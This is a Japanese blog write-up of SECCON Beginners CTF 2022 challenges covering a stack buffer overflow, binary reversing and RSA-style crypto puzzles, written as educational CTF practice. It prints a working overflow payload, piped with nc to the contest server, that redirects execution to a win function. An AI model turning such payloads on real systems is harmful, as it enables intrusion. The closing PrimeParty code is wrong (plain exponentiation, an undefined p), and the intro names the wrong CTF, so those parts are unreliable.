テクノロジー

SECCON Beginners CTF 2022のWriteup （後編）

2022年09月09日マイナビエンジニアブログ編集部

前編はこちら

本記事はpicoCTF 2022のWriteup（前編）の続きです。

SECCON Beginners CTF 2022のWriteup （前編）

pwnable

BeginnerBof

プログラムをみると、main関数内で fgets関数を利用しています。Buffer Overflow が狙えそうです。
この関数の戻りアドレスを Buffer Overflow で書き換え、win関数に遷移させることでフラグが入手できそうです。

gdb (PEDA拡張付き)を利用し、①fgets関数実行直後のスタックの状態を調べます。

objdumpコマンドで遷移させる ②win関数のアドレスを調べます。

$ objdump -t chall | grep win
00000000004011e6 g     F .text  000000000000007d              win

①②の2つの情報から、入力すべきデータが分かりました。実際に実行してフラグを入手します。

$ printf '49\n0123456789012345678901234567890123456789\xe6\x11\x40\x0\x0\x0\x0\x0' | nc beginnersbof.quals.beginners.seccon.jp 9000
How long is your name?
What's your name?
Hello 0123456789012345678901234567890123456789�@ctf4b{Y0u_4r3_4lr34dy_4_BOF_M45t3r!}
Segmentation fault

raindrop

おぼえていますか?
nc raindrop.quals.beginners.seccon.jp 9001
raindrop.tar.gz d6af5202e0af725b281f8771efa594b133955a46

特に言うことなしの人です。
22時から開始して朝4時まで格闘。起床してからもずっと格闘していましたが、終ぞ解けませんでした。

タイトルどおりROPを狙いに行く問題だと思い、 vuln関数内のreadに対してオーバーフロー起こしてsystem('/bin/sh')をコールしてシェルを奪取する感じだと思い、ずっとこねくりまわしていました。

void vuln() {
    char buf[BUFF_SIZE] = {0};
    show_stack(buf);
    puts("You can earn points by submitting the contents of flag.txt");
    puts("Did you understand?") ;
    read(0, buf, 0x30);
    puts("bye!");
    show_stack(buf);
}

ただ/bin/shのアドレスがわからず「マジで難しくない…？ほんとにこれがeasy…？」ってなりました。

（朝4時）

reversing

Quiz

逆コンパイルや逆アセンブラも試しましたが、結局は strings コマンドでもフラグが取れました。

$ strings quiz | grep ctf4b
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

Recursive

リバースエンジニアリングツール Ghidra でダウンロードした実行バイナリをデコンパイルします。
関数check がフラグの妥当性をチェックする関数と分かります。

undefined8 check(char *param_1,int param_2)
{
  int iVar1;
  int iVar2;
  int iVar3;
  size_t sVar4;
  char *pcVar5;

  sVar4 = strlen(param_1);
  iVar3 = (int)sVar4;
  if (iVar3 == 1) {
    if (table[param_2] != *param_1) {
      return 1;
    }
  }
  else {
    iVar1 = iVar3 / 2;
    pcVar5 = (char *)malloc((long)iVar1);
    strncpy(pcVar5,param_1,(long)iVar1);
    iVar2 = check(pcVar5,param_2);
    if (iVar2 == 1) {
      return 1;
    }
    pcVar5 = (char *)malloc((long)(iVar3 - iVar1));
    strncpy(pcVar5,param_1 + iVar1,(long)(iVar3 - iVar1));
    iVar3 = check(pcVar5,iVar1 * iVar1 + param_2);
    if (iVar3 == 1) {
      return 1;
    }
  }
  return 0;
}

変数名など非常に解読しづらいですが、なんとか読めます。
python3で記述すると以下のような関数です。

def check(s: str, i: int) -> bool:
    l = len(s) 
    if l == 1:
        return table[i] == s
    else:
        h = l // 2
        return check(s[:h], i) and check(s[h:], h * h + i)

フラグはバイナリのmain関数から38文字と分かっています。
これを逆解析する処理をpythonで記述すると以下のとおりです。

def solve(i: int, length: int) -> str:
    if length == 1:
        return table[i]
    else:
        h = length // 2
        return solve(i, h) + solve(i + h * h, length - h)

flag = solve(0, 38)
print(flag)
print("check:", check(flag, 0))

crypto

CoughingFox

これは近代的な暗号の知識が不要な問題です。
実直に複合プログラムを実装して、フラグを入手します。

cipher = [12147, 20481, 7073, 10408, 26615, 19066, 19363, 10852, 11705, 17445, 3028, 10640, 10623, 13243, 5789, 17436, 12348, 10818, 15891, 2818, 13690, 11671, 6410, 16649, 15905, 22240, 7096, 9801, 6090, 9624, 16660, 18531, 22533, 24381, 14909, 17705, 16389, 21346, 19626, 29977, 23452, 14895, 17452, 17733, 22235, 24687, 15649, 21941, 11472]

def solve() -> str:
    for i in range(len(cipher)):
        s = [chr(c) for c in range(32, 128) if (c + i) ** 2 + i in cipher]
        if len(s) != 1:
            raise "decrypt error"
        yield s[0]

print(*solve(), sep="")

PrimeParty

ncコマンドでサーバーにつなぐと、4つのランダムな素数が選ばれて、ユーザには3つ整数の入力を求められる。

[*] We have been waiting for you!!! This way, please.
-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる
[*] We have been waiting for you!!! This way, please.
-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる
[*] We have been waiting for you!!! This way, please.
-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる
[*] We have been waiting for you!!! This way, please.
-*-*-*-*-*-*-*-*-*-*-*-*- ### ←サーバ側でランダムな乱数が選ばれる
[*] Do you want to invite more guests?
 > 3 ### ←ユーザ入力
[*] We have been waiting for you!!! This way, please.
-*-*-*-*-*-*-*-*-*-*-*-*-
[*] Do you want to invite more guests?
 > 7 ### ←ユーザ入力
[*] We have been waiting for you!!! This way, please.
-*-*-*-*-*-*-*-*-*-*-*-*-
[*] Do you want to invite more guests?
 > 5 ### ←ユーザ入力
[*] We have been waiting for you!!! This way, please.
-*-*-*-*-*-*-*-*-*-*-*-*-
n = 4004010545354487155134564423760393760628501822648175413485182403177802614497075083081182871142220683183557620516756004878516975932858973203260775712393382486169226826588778865850046172282431818404573401295548665402655542135864623672522705582354620536818733452475391502972892348382776846641213215684323978472895
e = 65537
cipher = 121704966078479187399961267434675399383069953478329222718742231454820171887448985921148428703591817131480017620241185738604457598736158812775226455348391419990103216749070153064390290750749137854194363776138035694542075230511050030917515938266383908268072173261379715604042999949226506925007130601447660721627

ここで、nは、サーバ側でランダムに設定された素数４つと、ユーザ入力の３つの整数のうち素数を全てかけ合わせた数である。
eは65537で固定である。
cipherの値は、次のように計算されている。

cipher = pow(flag, e, n)

これってRSA暗号に似てるので、eに対応するdを決めて、
flag = pow(cipher, d, n)を計算すればいいんじゃね？と思ったが、dを決めるためには、nを素因数分解しないといけないので、ほかの手段はないの？とぐるぐるしていたら間に合わなかった。

作問者のWriteUpをみて、次のように解けばよいとわかりました。

pが素数で、nが平方因子のない自然数であるとき

①オイラーの定理 $t \equiv 1\pmod {p-1} $ ⇒ $a^t \equiv a\pmod p $
② FLAGより大きな素数 p を求める (455bitより大きいサイズであればOK)
③ $ed \equiv 1 \pmod {p-1}$なる$e$を探す
④ $\mathrm{cipher}$を$p$で割った余りを$r$とする。

①、③より$$r^d \equiv X^{ed} \equiv X \pmod p$$がいえて、②より、この条件を満たす$X$のうち最小のものがFLAGである。

③のような$d$は次のプログラムで求められるらしい

pow(e, -1, p-1)

②の素数は、$2^{455}$がだいたい137ケタなので、138ケタ以上の素数を探して持ってくればよい。

https://ja.wikipedia.org/wiki/%E5%B7%A8%E5%A4%A7%E3%81%AA%E7%B4%A0%E6%95%B0%E3%81%AE%E4%B8%80%E8%A6%A7
ここから、メルセンヌ素数 $M_{521}=2^{521}-1$を使えばよさそう

In [6]: 2**521 - 1
Out[6]: 6864797660130609714981900799081393217269435300143305409394463459185543183397656052122559640661454554977296311391480858037121987999716643812574028291115057151

https://www2.math.kyushu-u.ac.jp/~snii/RSA.pdf

以上より

d = pow(e, -1, p-1)
flag_int = cipher ** d

welcome

完走した感想

昨年参加したときは上位15％ほどでしたが、今回は上位7％とかなりいいところまで行けたと思います。すごい！

昨年同様になってしまいますが、 pwnableとreversing、cryptoは回答チームも少なく、差が出るポイントかなと思いました。

というかマジでこの3ジャンルは難しい。だれか強い人おらんかぁ？

待っています！

※サムネ画像ロゴは『SECCON Beginners CTF』より引用